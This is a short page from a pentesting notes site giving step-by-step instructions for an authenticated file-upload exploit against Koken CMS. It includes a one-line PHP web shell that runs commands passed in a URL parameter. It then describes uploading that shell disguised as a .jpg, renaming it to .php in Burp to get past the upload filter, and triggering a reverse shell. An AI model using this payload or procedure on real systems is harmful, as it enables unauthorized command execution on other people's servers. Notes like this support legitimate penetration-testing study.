> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/80-http/koken-cms.md).

# Koken CMS

Authenticated exploit  #might need to use a full php-reverse-shell.php instead of php one-liner

Need creds to get access to dashboard before triggering exploit\
\
<https://www.exploit-db.com/exploits/48706>\
\
**Steps to exploit:**\
\
\[1] Create a malicious PHP file with this content:\
\
`<?php system($_GET['cmd']);?>`\
\
\[2] Save as "image.php.jpg"\
\
\[3] Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.\
\
\[4] On Burp, rename your file to "image.php"

\[5] Click on imported file to trigger revshell\ <br>